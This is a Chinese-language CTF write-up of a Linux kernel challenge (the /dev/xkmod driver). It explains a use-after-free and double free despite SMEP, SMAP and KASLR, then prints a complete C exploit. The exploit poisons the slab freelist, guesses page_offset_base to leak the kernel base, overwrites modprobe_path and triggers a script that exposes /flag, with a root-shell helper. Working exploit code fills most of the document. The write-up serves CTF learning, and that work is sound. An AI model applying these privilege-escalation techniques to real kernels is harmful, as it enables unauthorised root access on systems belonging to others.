启动脚本:
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kaslr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic \
-s
开启了 smep、smap、kaslr保护。
程序分析
单独创建了一个 kmem_cache,但是这里按理说会跟 kmalloc-192 合并。
然后就是白给的 UAF(跟 babydriver 那题简直一模一样)
并给了读写和创建堆块的能力
经过测试程序并没有开启 slab_freelist_hardened 保护,所以可以直接 double free。并且 freelist 指针的 offset 为 0。
所以这里我本想利用 user_key_payload 去泄漏内核基地址的,但是我似乎发现当我 revoke 时,该堆块就立马被占用了,不知道啥原因。
所以就参考了 ctf-wiki 上面的方法直接猜 page_offset_base,然后利用 page_offset_base+0x9d000 位置存储的 secondary_startup_64 去泄漏内核基地址。最后 double free 去修改 modprobe_path。
这里我还尝试去打 n_tty_ops,但是最后 n_tty_ops 被破坏了,尽管成功提权了,但是无法交互。然后我最后将 n_tty_ops 给修复了,结果还是不行。最后我去网上搜了一下,发现别人的 exp 却可以,无语了......
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct node {
char* ptr;
unsigned int offset;
unsigned int size;
};
void add(int fd)
{
struct node n = { 0 };
ioctl(fd, 0x1111111, &n);
}
void xread(int fd, char* ptr, unsigned int offset, unsigned int size)
{
struct node n = { .ptr = ptr, .offset = offset, .size = size };
ioctl(fd, 0x7777777, &n);
}
void xwrite(int fd, char* ptr, unsigned int offset, unsigned int size)
{
struct node n = { .ptr = ptr, .offset = offset, .size = size };
ioctl(fd, 0x6666666, &n);
}
void get_flag()
{
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/good");
system("chmod +x /tmp/good");
system("/tmp/good");
sleep(1);
system("cat /flag");
exit(0);
}
#define SECONDARY_STARTUP_64 0xffffffff81000030
#define MODPROBE_PATH 0xffffffff82444700
int main(int argc, char** argv, char** env)
{
bind_core(0);
int fd[3];
size_t heap_addr;
size_t page_offset_base;
size_t kernel_offset;
size_t buf[0x50] = { 0 };
char* pwn = "\x00\x00\x00\x00\x00\x00\x00\x00/tmp/pwn\x00\x00\x00\x00";
for (int i = 0; i < 3; i++)
if ((fd[i] = open("/dev/xkmod", O_RDONLY)) < 0) err_exit("open xkmod");
add(fd[0]);
close(fd[0]);
xread(fd[1], buf, 0, 0x50);
binary_dump("free object data", buf, 0x50);
heap_addr = buf[0];
page_offset_base = heap_addr & 0xfffffffff0000000;
hexx("heap_addr", heap_addr);
hexx("Guessing page_offset_base", page_offset_base);
buf[0] = page_offset_base+0x9d000-0x10;
xwrite(fd[1], buf, 0, 8);
add(fd[1]);
add(fd[1]);
xread(fd[1], buf, 0, 0x50);
binary_dump("free object data", buf, 0x50);
if ((buf[2] < 0xffffffff81000000) || ((buf[2]&0xfff) != 0x30)) err_exit("Failed to kmalloc the secondary_startup_64");
kernel_offset = buf[2] - SECONDARY_STARTUP_64;
hexx("kernel_offset", kernel_offset);
add(fd[1]);
close(fd[1]);
buf[0] = kernel_offset+MODPROBE_PATH-8;
xwrite(fd[2], buf, 0, 8);
add(fd[2]);
add(fd[2]);
xwrite(fd[2], pwn, 0, 20);
get_flag();
return 0;
}
最后效果如下: